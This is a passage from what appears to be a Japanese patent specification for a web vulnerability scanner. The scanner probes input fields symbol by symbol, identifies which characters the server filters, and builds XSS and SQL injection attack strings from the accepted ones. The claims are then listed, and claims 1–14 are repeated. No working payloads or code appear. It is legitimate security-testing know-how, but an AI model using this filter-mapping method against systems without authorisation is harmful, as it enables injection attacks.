本発明は、知的エンジン技術の使用を用いることによって、脆弱性評価ツールに大幅な改良をもたらす。本発明は、顧客及び解析者がウェブアプリケーション評価製品を評価する方法を大幅に変更することになる技術を導入する。本発明は、静的チェックの使用を時代遅れのものとするものではないが、それでも、本発明は、ウェブアプリケーション評価製品の性能、信頼性、及び効率を改善する解決策を提供する。一般に、本発明は、知的エンジン及び静的チェックの組み合わせを利用して、徹底した効率の良いウェブアプリケーション評価製品を提供する。
【００３５】
好都合に、本発明は、セキュリティのプロが、はるかに高速に評価を完了することを可能にし、誤検出を実質的になくすことを可能にし、且つ、評価中に発見される真の脆弱性の個数を増加させることを可能にする。現時点で最新の静的チェック技術を本発明の技術と比較する良い物差しには、評価を行う時間、及び、識別される誤検出の個数が含まれる。本発明によって利用可能な改良の規模の理解を与える簡単な比較として、本発明のすべての実施形態についての完全に正確な投影というわけではないが、現在の静的チェック技術を使用すると、ＸＳＳのような脆弱性の自動化された試験は、最大で３時間を要する可能性があり、多くの誤検出を有する結果を与える。一方、現在の最先端の計算能力を与えて本発明の知的エンジン技術を使用すると、処理時間はものの数分（すなわち、１２〜１５分）に削減することができ、ほとんど誤検出は確認されない。
【００３６】
本発明は、アプリケーションの状態を解析し、次に、目標とする攻撃にその知識を使用する知的で高度なエンジンを提供することによって評価を行うための構造化された論理ベース手法を提供する。これとは対照的に、現在の静的チェック技術手法は、アプリケーションの特異性を考慮せずに、あらゆる可能な攻撃オプションを放つ。
【００３７】
本発明の実施形態は、サーバがさまざまな要求にどのように応答するかに基づいて攻撃を動的に生成するように動作する。基本的に、本発明は、ウェブアプリケーションの一般的な応答特性を識別するためにより詳細なレベルで機能することにより行われる多数のチェックをなくすように動作し、且つ、この情報に基づいて、行う必要のあるチェックの量を大幅に削減する。図３は、図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【００３８】
図４は、本発明のオペレーションの超高レベル図を示すフロー図である。本発明は、評価ツールを駆動するエンジン内で具現化することができる。このフローチャートで説明するステップは、必ずしも、本順序で行われる文字通りのステップであるとは限らない。逆に、これらのステップは、本発明のさまざまな実施形態のさまざまな方法で実施できる機能ステップである。加えて、これらの機能ステップは、反復的なものとすることができ、且つ、統合することができる。たとえば、或る機能ステップの一部を複数回繰り返すことができ、他の機能ステップで生成された結果に応答するようにすることができる。最初に、エンジンは、クロールの結果の実行若しくは受け取りを行うか、又は、他の技法を使用して、ウェブアプリケーションにより生成されたウェブページ上のどのロケーションが入力を受け付けるかを判断する（４１０）。この判断は、その入力がフレーム構造内、フォーム内、選択ボックス内等にあるか否かを識別することを含むことができる。次に、エンジンは、何がそのページ上で又は特定のデータエントリーロケーションにおいて入力として許可されるのかを判断する（４２０）。このプロセスは、異なる文字、シンボル、文字列等を、ウェブページのデータ入力へシリアルに送信すること、及び、その応答を監視することを伴う。例示的な実施形態では、これは、入力許可の範囲を明確に識別するために、開始時に用いられる基本的な初歩ステップを含んだ非常に体系的で且つ集中的な手順とすることができる。ウェブアプリケーションからの応答の監視は、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサの使用等のさまざまな方法で行うことができる。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサは、応答をパースして、脆弱性が存在するか否か、又は、どの特定の文字、シンボル、若しくは文字列が受け付けられるか若しくはフィルタリングされるかを判断するものである。本発明のこの態様の特定の一実施形態を図６に示す。入力許可及び入力フィルタが特徴付けられた後、エンジンは、次に、攻撃文字列を組み立てる（４３０）。エンジンは、これらの攻撃文字列を使用して、アプリケーションに対して攻撃をサブミットする（４４０）。最後に、エンジンは、攻撃に対する応答を解析して、攻撃が成功したか否か、または、攻撃が失敗したか否かを判断する（４５０）。攻撃が失敗した場合、本発明のさまざまな実施形態は、失敗の原因をさらに特定する動作を取ることができ、攻撃を変更する改善動作さえも取ることができる。本発明のこの態様の一実施形態の一例を図６に示す。一般的な例として、本発明は、ウェブアプリケーションが、文字「＜」及び「＞」を適切にフィルタリングするか否かを判断するように動作することができる。ウェブアプリケーションがこれらの文字をフィルタリングする場合、本発明は、これらの文字のＨＴＭＬエンティティ、すなわち１６進表現（つまり、％３Ｃ及び％３Ｅ）がフィルタリングされるか否かを判断するように動作することができる。さらに、本発明は、マークアップ言語全体又はそのサブセットを定義する一組の文字、シンボル、式等を調べて、許可された語彙対フィルタリングされた語彙を識別し、次に、この知識に基づいて攻撃文字列を組み立てる。
【００３９】
図５は、ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。本発明が利用するウェブアプリケーションの特性の１つは、ウェブサーバが、一般に、限られた一組のバックエンド処理ルーチンを使用するということである。したがって、ウェブアプリケーション上でさまざまな入力をプローブすることから受信された応答は、入力セット全体又は少なくとも入力の数グループのいずれかにわたって一貫する傾向があるであろう。関連出願のセクションで参照された米国特許出願にさらに記載されているように、バックエンド処理ルーチンに基づいて、入力を特徴付ける動作及び入力を分類する動作を取ることができる。この特性によって、エンジンは、語彙を組み立てている間、重複したプローブを削除することが可能になる。最初に、エンジンは、入力文字、入力シンボル、入力文字列等の所定のドメインにアクセスするか又はこの所定のドメインから開始する（５１０）。この所定のドメインは、入力記号体系と呼ばれる。基本的に、入力記号体系は、ターゲットウェブアプリケーションで使用されるマークアップ言語又はアサートされている特定の攻撃技法に含まれるすべての構成体、コマンド、シンボル、指令、属性、及びキーワードから成る。たとえば、記号体系は、ＨＴＭＬ、ＸＭＬ等の間で異なる場合がある。さらに、ＳＱＬインジェクションの場合、記号体系はＳＱＬ構成体を含み、ＬＤＡＰはＬＤＡＰ構成体等を使用するであろう。本発明は、ＨＴＭＬ構成体から成る記号体系等の単一の記号体系に的を絞った一実施形態に組み込まれて単一の共通語彙を生成することもできるし、複数の記号体系を組み合わせた一実施形態に組み込まれて個別の語彙を生成することもできることが、十分理解されるべきである。次に、入力記号体系の各メンバーについてのループ、又は、入力記号体系のメンバーのサブセットについてのループに入る（５１２）。このループは、記号体系全体が利用されるか、又は、記号体系の識別され若しくは選択されたサブセットが利用されるまで実行され、一実施形態及び別の実施形態では、停止する時を識別する制限を課すことができる。たとえば、語彙が、攻撃を組み立てて開始するのに必要な要素のすべてを含むポイントまで成長した場合、ループを早期に終了することができる。さらに、ループを攻撃プロセスと並列に又は攻撃プロセスと共に実行することもできる。
【００４０】
記号体系のメンバーの１つ又は２つ以上を使用して、プローブが形成（formulate）され、ウェブアプリケーションへ送信される（５１４）。このプローブは、さまざまなフォーマットを取ることができ、本発明は、どの特定のフォーマットにも限定されるものではない。次に、プローブに対するウェブアプリケーションの応答が受信される（５１６）。この応答は、もしあれば、記号体系のどのメンバーがウェブサーバによってフィルタリングされ、この入力についてどれが許可されたかを判断するために解析される（５１８）。次に、受け付けられた記号体系のメンバーが、語彙に入力される（５２０）。次に、処理は、ループの最上部に戻り（５１２）、記号体系の次の１つまたは２つ以上のメンバーを扱う。プローブは、記号体系のいくつかのメンバーの文字列を含みうることが十分理解されるべきである。文字列全体が受け付けられる場合、記号体系のそれらのメンバーのそれぞれは、語彙内に置かれる。例示的な一実施形態では、文字列に含まれた個々のシンボルは語彙に個々のエントリーとして入力されうる。別の実施形態では、シンボルの文字列全体が語彙に入力されうる。文字列全体が拒否された場合、「分割統治（divide and conquer）」検索アルゴリズムを使用して、文字列メンバーのいくつかのより小さなグループを送信し、何が拒否されて、何が許可されたかを判断することができる。それに失敗すると、文字列の各メンバーが個別に送信されうる。この実施形態の一例を図６及び図６に関連した説明と共に提供する。代替的な一アルゴリズムは、拒否されたあらゆる文字列の個々の文字列メンバーの送信、又は、語彙にすでに含まれていない個々の文字列メンバーの送信に戻ることができる。語彙を識別するための開示された方法は、それ自体独立で新規と考えることができるが、本発明は、どの特定の技法にも限定されるものでないことが当業者には十分理解されよう。逆に、本発明は、プローブの送信と応答の解析とを通じて語彙を特定するためのさまざまな技法のいずれも利用することができる。
【００４１】
図６は、本発明の例示的な一実施形態に関係したステップを示すフロー図である。図示したフローチャートは、単に、本発明を実施する一方法であり、この実施形態で説明される特定の特徴及び態様は、例示的なためであって、限定ではないことが十分理解されるべきである。一方、図示した実施形態も、それ自体単独で新規であると考えられることも十分理解されるべきである。この実施形態は、並列に実行できる２つのプロセスとして示されている。第１のプロセスは語彙ビルダ６００であり、第２のプロセスは攻撃者６５０である。説明するように、語彙ビルダ６００は、シンボル若しくはシンボルセットの記号体系又はドメインを扱う。語彙ビルダは、許可されたシンボル又はシンボルセットで語彙を組み立てることができるだけでなく、このドメインを追加又は増大させることもできる。攻撃者６５０は、その語彙を監視して、攻撃を作成できるか否か及びいつ攻撃を作成できるかを判断し、次に、攻撃の結果に応じて、シンボル又はシンボルセットのドメインを増大させる。
【００４２】
より具体的には、語彙ビルダ６００は、シンボルのプール（ドメイン）にアクセスして、シンボル又はシンボルセットを取得する（６０４）。シンボルは、エンジンが探している脆弱性に基づいてプールから選択されうる（すなわち、ＸＳＳの場合にはＨＴＭＬシンボル、ＳＱＬインジェクションの場合にはＳＱＬキーワード、ＸＰａｔｈの場合にはＸＭＬアイテム等）。代替的に、シンボルを単に語彙ビルダにキュー形式で供給し、ヒューリスティックに基づいて又は他の技法を使用して選択することもできる。用いられる技法にかかわらず、シンボル又はシンボルセットは、ウェブアプリケーションへ送信されるプローブを生成するのに使用されるか、又は、そのプローブに組み込まれる（６０８）。次に、そのプローブに対するウェブアプリケーションの応答が解析される（６１２）。プローブ全体が拒否された場合（６１６）、プローブ内のシンボルは、シンボルプールに再挿入することができる（６２０）。この再挿入は、シンボルのそれぞれを個々に分離することによって行われうるし、いくつかのシンボルセットは、拒否されたシンボルのリストから作成されうる。加えて、再帰的プロセスを用いて、シンボルセットを徐々に体系的に分解し、ステップ６０４から開始してシンボルセットを再サブミットし、拒否の原因を特定することができる。
【００４３】
プローブ全体が拒否されていない場合（６１６）、プローブ内のシンボルのいくつかを許可されたシンボルとして識別できる一方、それ以外を、ウェブアプリケーションによってフィルタリング又は拒否されたものと判断することができる。許可されたシンボルとして識別されているシンボルのそれぞれは、語彙に追加される（６２４）。拒否されたものとして識別されているシンボルについて、それらのシンボルは、個別に若しくはセットとして、又はそれらの双方の組み合わせとしてプールに再入力される。次に、処理は、ステップ６０４において、検査される次のシンボル（複数可）の取得を続ける。このプロセスは、プール全体が使い尽くされるまで、若しくは、別のプロセスがこのプロセスをサスペンドするまで続けることができるか、又は永久に続けて、プールが空になった場合にアイドルモードに単に入り、その後、プールに新たなエントリーが入るのを単に待機することができる。
【００４４】
攻撃者６５０は、最初に、語彙ビルダ６００が、エントリーが語彙内に置かれるのを待っていることを監視する。したがって、攻撃者６５０は、語彙にアクセスし（６５４）、エントリーが攻撃を作成するのに十分でない場合（６５８）、攻撃者６５０は、基本的にはループを実行する。十分なエントリーが利用可能になると（６５８）、攻撃文字列が、受け付け可能な入力の語彙から組み立てられる（６６２）。この語彙は、いくつかのマークアップ言語構成体、コード、及び言語要素を含むことができる。エンジンは、所望の攻撃を識別することができ、次に、語彙のエントリーを検査して、どの攻撃がサポートされているかを判断することができる。本発明のこの態様は、さまざまな方法で実施できることが理解されるべきである。たとえば、一実施形態では、攻撃とシグネチャとに関する辞書をエンジンに知らせることもできるし、エンジンへアクセス可能にすることもできる。この辞書は、単に、さまざまなキーワードによって検索又はインデックスされうる攻撃の静的データベースとすることができる。この辞書を使用して、エンジンは、語彙によってサポートされる攻撃及びシグネチャを識別することができる。非限定的な一例として、「image」及び「onload」のＨＴＭＬキーワードが語彙にある場合、エンジンは、これらのキーワードを含む攻撃文字列のすべてを取り出すことができる。次に、エンジンは、ウェブアプリケーションに対するこれらの攻撃文字列を送信することができる。
【００４５】
代替的に、語彙が識別されると、又は、語彙が生成されている間に、エンジンは、実際に攻撃を急いでで組み立てることもできる。攻撃文字列は、総当り、修正総当り（modified brute force）を含むさまざまな方法で、又は、ヒューリスティックの適用を通じて、語彙から生成されうる。総当りの適用では、語彙の要素が簡単に検査され、各要素及び要素の可能な組み合わせを選択して、それらの要素及び組み合わせでウェブアプリケーションをプローブすることに基づいて、文字列が生成される。この手法は、多くの偽の役に立たない文字列が生成される場合があり、語彙が大きい場合には、組み合わせの個数及びその組み合わせでウェブアプリケーションを試験する時間がかなり大きくなる場合があるという点で理想的ではない。一方、修正総当り法は、言語ロジック及び言語構成体の使用を用いて、文字列を生成する。したがって、有効な言語プローブのみを生成する方法で、語彙に存在するさまざまな言語要素を識別して、文字列生成のプロセスに適用することができる。最後に、攻撃文字列を生成しようとする際に、一組のヒューリスティック又は他のアルゴリズム手順をライブラリに適用することができる。たとえば、ウェブアプリケーションに課される一般的なタイプの攻撃を定義することにより、語彙を検索して、それらの攻撃用の攻撃文字列を作成するのに必要な組み立てブロックを識別することができる。当業者は、ウェブアプリケーションに対して使用できるこれらのタイプの攻撃、及び、識別された語彙が与えられた場合にこのような攻撃文字列ジェネレータを組み立てる方法に精通しているだろう。これらのタイプの攻撃には、ＸＳＳ、ＳＱＬインジェクション、及びＤＯＭタイプのＸＳＳ攻撃が含まれるが、これらに限定されるものではない。
【００４６】
本発明の別の実施形態では、語彙を組み立てて攻撃文字列を生成するプロセスは、統合されたプロセスである。たとえば、エンジンは、１つ又は２つ以上の言語キーワードを含む攻撃文字列又は許可／フィルタリングされた語彙に単に準拠する攻撃文字列を送信することによって開始することができる（６６４）。次に、攻撃文字列に対する応答が解析されて（６６８）、攻撃が機能したか否かが調べられる。攻撃が失敗した場合（６７３）、攻撃者は、語彙ビルダプロセス６００を通じてフィードバックできる新たなシンボルセットを生成することができ、ステップ６５４に戻って、次の攻撃を行うことができる。一方、他の実施形態では、解析プロセスは、かなり入り組んでいる場合があり、複数の且つ異なる攻撃要求を送信すること、及び、複数の応答を解析／比較することを含む場合がある。本発明のこの態様は、誤検出の発生を大幅に削減する。攻撃文字列が拒否された場合、エンジンは、言語キーワードの１つ又は２つ以上を変更した異なる試験文字列を生成することができる。この文字列が成功した場合、それらの２つの文字列を比較することによって、許可された語彙の一部を識別することができる。同様に、文字列は、ウェブアプリケーションの脆弱性を識別する結果になっている場合もある。したがって、エンジンは、（ａ）脆弱性についてウェブアプリケーションをプローブし、（ｂ）試験文字列を生成し、（ｃ）許可語彙を増大させ、そして、（ｄ）情報をすべて同時にシンボルプール内にフィードバックする、統合された方法で機能している。一方、この第２の文字列も拒否された場合、エンジンは、これらの２つの文字列を比較して、フィルタリングされた可能性のあるキーワードを識別し、新たな文字列を形成し、そして、文字列が受け付けられるまで又は記号体系全体が使い尽くされるまでこのサイクルを繰り返すことができる。これに代えて又はこれに加えて、前述したように、文字列が拒否されると、エンジンは、要素ごとの解析に入ることができる。この要素ごとの解析では、文字列の各要素がウェブアプリケーションへ個別に送信されて、その要素が受け付けられるのか、それともフィルタリングされるのかが判断される。次に、処理は、許可された語彙及び記号体系の残りの要素に基づいて攻撃文字列の形成を続けることができる。
【００４７】
この説明で提供された実施形態及び具体例は、非限定的な例として提供されたものであり、したがって、たとえそれらが個々に新規であると考えることができても、本発明の唯一の新規な実施態様又は構成とみなされるべきではないことが十分理解されるべきである。説明した実施形態は、異なる特徴を含み、それらの特徴のすべてが、本発明のすべての実施形態で必要とされるとは限らない。本発明のいくつかの実施形態は、これらの特徴又はこれらの特徴の可能な組み合わせの一部しか利用しない。当業者は、説明した本発明の実施形態の変形形態と説明した実施形態で言及された特徴の異なる組み合わせを含む本発明の実施形態とが思いつくであろう。本発明の範囲は、添付の特許請求の範囲によってのみ限定される。
【図面の簡単な説明】
【００４８】
【図１】評価ツールの一般的構造のシステム図である。
【図２】クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。
【図３】図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【図４】本発明のオペレーションの超高レベル図を示すフロー図である。
【図５】ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【図６】受け付け可能入力の語彙から攻撃文字列を組み立てるエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【符号の説明】
【００４９】
１００ ウェブ評価インターフェース
１２０ インターネット
１３０ ソフトウェアエージェント
１４０ 評価データ
１５０ 報告インターフェース
【特許請求の範囲】
【請求項１】
マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するための方法であって、
前記ウェブアプリケーションをプローブ（probe）するステップであって、それによって、ウェブサーバによってフィルタリングされていないシンボルを識別するステップと、
前記プローブするステップの結果に基づいて攻撃文字列（attack strings）を構成するステップと
を含む方法。
【請求項２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信すること
をさらに含み、
該各プローブは、前記言語構成体の１つ又は２つ以上を含む
請求項１に記載の方法。
【請求項３】
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
をさらに含む
請求項２に記載の方法。
【請求項４】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
前記拒否された文字列における前記シンボルのサブセットを前記ウェブアプリケーションへ入力として再帰的に転送するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記シンボルの特定のサブセットが許可されるのか、又はフィルタリングされるのかを判断するステップと
をさらに含む
請求項１に記載の方法。
【請求項５】
まだ試験されていない前記シンボル及び許可されている前記シンボルの１つ又は２つ以上を含む次の文字列を作成するステップと、
前記次の文字列を前記ウェブアプリケーションへ送信するステップと、
前記ウェブアプリケーションから前記次の文字列の拒否されたものを受信するステップと、
前記拒否された文字列において、許可されたシンボルとしてまだ識別されていない各シンボルを単独で（on its own）前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記次の文字列のシンボルが許可されるのか、それともフィルタリングされるのかを判断するステップと、
前記次の文字列を作成するステップから継続するステップと
をさらに含む請求項４に記載の方法。
【請求項６】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
分割統治アルゴリズム（divide and conquer algorithm）を適用するステップであって、それによって、前記文字列の前記拒否を引き起こす前記シンボルを分離するステップと
をさらに含む
請求項１に記載の方法。
【請求項７】
前記シンボルは、用いられている攻撃技法の構成体である
請求項１に記載の方法。
【請求項８】
前記攻撃文字列を生成するステップは、
既知の攻撃文字列のデータベースにアクセスするステップと、
前記既知の攻撃文字列のデータベースから、フィルタリングされたシンボルを含まない特定の攻撃文字列を選択するステップと
をさらに含む
請求項１に記載の方法。
【請求項９】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルのすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１０】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルの有効なすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１１】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、フィルタリングされていないシンボルの使用に基づいて、特定の脆弱性を対象とした攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信するステップであって、該各プローブは、前記言語構成体の１つ又は２つ以上を含むステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
を含み、
前記攻撃文字列を生成するステップは、
前記許可された言語構成体を使用して攻撃文字列を生成すること
をさらに含む
請求項１に記載の方法。
【請求項１３】
前記プローブを送信するステップは、前記ウェブアプリケーションの選択された個数の前記入力に対してのみ行われる
請求項１２に記載の方法。
【請求項１４】
ウェブアプリケーション脆弱性評価を行うための方法であって、
前記ウェブアプリケーションのクロール（crawl）を行うステップであって、それによって、入力フィールドを識別するステップと、
前記ウェブアプリケーションの前記入力フィールドの入力として使用できるシンボルのドメインを識別するステップと、
前記シンボルのいずれが前記ウェブアプリケーションによってフィルタリングされるのか及び該シンボルのいずれが該ウェブアプリケーションによって受け付けられるのかを判断するステップと、
前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記ウェブアプリケーションへ前記攻撃文字列を送信するステップと、
前記攻撃文字列を送信するステップによってカバーされないあらゆる脆弱性を識別するステップと
を含む方法。
【請求項１５】
前記いずれのシンボルが前記ウェブアプリケーションによってフィルタリングされるのか及びいずれのシンボルが該ウェブアプリケーションによってエコーされるのかを判断するステップは、
第１の文字列を作成するステップであって、該第１の文字列は、１つ又は２つ以上のシンボルを含むステップと、
前記第１の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと
をさらに含む
請求項１４に記載の方法。
【請求項１６】
次の文字列を作成するステップであって、該次の文字列は、フィルタリングされたシンボルであるとまだ判断されていない１つ又は２つ以上のシンボルを含むステップと、
前記次の文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記ウェブアプリケーションによってエコーされたシンボル及び該ウェブアプリケーションによってフィルタリングされるシンボルを識別するステップと、
すべてのシンボルが、エコーされるもの又はフィルタリングされるものとして識別されるまで、前記生成するステップで継続するステップと
をさらに含む請求項１５に記載の方法。
【請求項１７】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記次の文字列を生成するステップと同じステップとすることができる
請求項１６に記載の方法。
【請求項１８】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、前記語彙が完全に組み立てられるまで行われない
請求項１６に記載の方法。
【請求項１９】
静的な攻撃文字列のデータベースが設けられ、
前記１つまたは２つ以上の攻撃文字列を生成するステップは、
前記静的な攻撃文字列から、前記語彙のシンボルで構成される攻撃文字列を選択すること
をさらに含む
請求項１４に記載の方法。
【請求項２０】
ウェブアプリケーション脆弱性評価を行うための方法であって、
利用可能なシンボルのドメインの中のシンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップと、
前記ウェブアプリケーションによって受け付けられている前記シンボルから成る語彙を組み立てるステップと、
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップと、
前記攻撃文字列を使用することによって、前記ウェブアプリケーションの前記脆弱性を評価するステップと
を含む方法。
【請求項２１】
前記利用可能なシンボルのドメインは、前記ウェブアプリケーションのウェブページを生成するのに使用される前記マークアップ言語の構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブにおける前記シンボルの１つ又は２つ以上のエコーを含む応答を前記ウェブアプリケーションから受信するステップと、
前記応答を解析するステップであって、それによって、いずれのシンボルがエコーバックされたかを識別するステップと
を含む
請求項２０に記載の方法。
【請求項２２】
前記語彙に少なくとも部分的に基づいて１つ又は２つ以上の攻撃文字列を生成するステップは、
前記語彙に含まれる前記マークアップ言語の構成体を使用して攻撃文字列を組み立てること
をさらに含む
請求項２０に記載の方法。
【請求項２３】
前記利用可能なシンボルのドメインは、用いられている前記攻撃技法の前記構成体であり、
前記シンボルのいずれがウェブアプリケーションの入力サーバによってフィルタリングされるか、及び、該シンボルのいずれが該ウェブアプリケーションの該入力サーバによって受け付けられるかを判断するステップは、
前記ウェブアプリケーションへ前記シンボルの１つ又は２つ以上をプローブで送信するステップと、
前記プローブが受け付けられたのか、又は拒否されたのかを示す応答を前記ウェブアプリケーションから受信するステップと、
前記プローブにおける前記１つまたは２つ以上のシンボルを分離するアルゴリズムを適用するステップであって、それによって、さらなるプローブを送信し、それにより、前記拒否を引き起こしている前記シンボルを分離するステップと
を含む
請求項２０に記載の方法。
【請求項１】
マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するための方法であって、
前記ウェブアプリケーションをプローブ（probe）するステップであって、それによって、ウェブサーバによってフィルタリングされていないシンボルを識別するステップと、
前記プローブするステップの結果に基づいて攻撃文字列（attack strings）を構成するステップと
を含む方法。
【請求項２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信すること
をさらに含み、
該各プローブは、前記言語構成体の１つ又は２つ以上を含む
請求項１に記載の方法。
【請求項３】
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
をさらに含む
請求項２に記載の方法。
【請求項４】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
前記拒否された文字列における前記シンボルのサブセットを前記ウェブアプリケーションへ入力として再帰的に転送するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記シンボルの特定のサブセットが許可されるのか、又はフィルタリングされるのかを判断するステップと
をさらに含む
請求項１に記載の方法。
【請求項５】
まだ試験されていない前記シンボル及び許可されている前記シンボルの１つ又は２つ以上を含む次の文字列を作成するステップと、
前記次の文字列を前記ウェブアプリケーションへ送信するステップと、
前記ウェブアプリケーションから前記次の文字列の拒否されたものを受信するステップと、
前記拒否された文字列において、許可されたシンボルとしてまだ識別されていない各シンボルを単独で（on its own）前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションからの前記応答を解析するステップであって、それによって、前記次の文字列のシンボルが許可されるのか、それともフィルタリングされるのかを判断するステップと、
前記次の文字列を作成するステップから継続するステップと
をさらに含む請求項４に記載の方法。
【請求項６】
前記ウェブアプリケーションをプローブするステップは、
複数のシンボルを含む文字列を作成するステップと、
前記文字列を前記ウェブアプリケーションへ入力として送信するステップと、
前記ウェブアプリケーションから前記文字列の拒否されたものを受信するステップと、
分割統治アルゴリズム（divide and conquer algorithm）を適用するステップであって、それによって、前記文字列の前記拒否を引き起こす前記シンボルを分離するステップと
をさらに含む
請求項１に記載の方法。
【請求項７】
前記シンボルは、用いられている攻撃技法の構成体である
請求項１に記載の方法。
【請求項８】
前記攻撃文字列を生成するステップは、
既知の攻撃文字列のデータベースにアクセスするステップと、
前記既知の攻撃文字列のデータベースから、フィルタリングされたシンボルを含まない特定の攻撃文字列を選択するステップと
をさらに含む
請求項１に記載の方法。
【請求項９】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルのすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１０】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、
フィルタリングされていない前記シンボルの有効なすべての組み合わせを含む攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１１】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記攻撃文字列を生成するステップは、フィルタリングされていないシンボルの使用に基づいて、特定の脆弱性を対象とした攻撃文字列を生成するステップ
をさらに含む
請求項１に記載の方法。
【請求項１２】
前記シンボルは、前記マークアップ言語の言語構成体であり、
前記ウェブアプリケーションをプローブするステップは、
前記ウェブアプリケーションへプローブを送信するステップであって、該各プローブは、前記言語構成体の１つ又は２つ以上を含むステップと、
前記ウェブアプリケーションから応答を受信するステップと、
前記応答を解析するステップであって、それによって、前記１つまたは２つ以上の言語構成体のいずれかが前記応答に含まれるか否かを判断するステップと、
前記応答に含まれる前記１つまたは２つ以上の言語構成体を、許可された言語構成体として識別するステップと
を含み、
前記攻撃文字列を生成するステップは、
前記許可された言語構成体を使用して攻撃文字列を生成すること
をさらに含む
請求項１に記載の方法。
【請求項１３】
前記プローブを送信するステップは、前記ウェブアプリケーションの選択された個数の前記入力に対してのみ行われる
請求項１２に記載の方法。
【請求項１４】
ウェブアプリケーション脆弱性評価を行うための方法であって、
前記ウェブアプリケーションのクロール（crawl）を行うステップであって、それによって、入力フィールドを識別するステップと、
前記ウェブアプリケーションの前記入力フィールドの入力として使用できるシンボルのドメインを識別するステップと、
前記シンボルのいずれが前記ウェブアプリケーションによってフィルタリングされるのか及び該シンボルのいずれが該ウェブアプリケーションによって受け付けられるのかを判断するステップと、
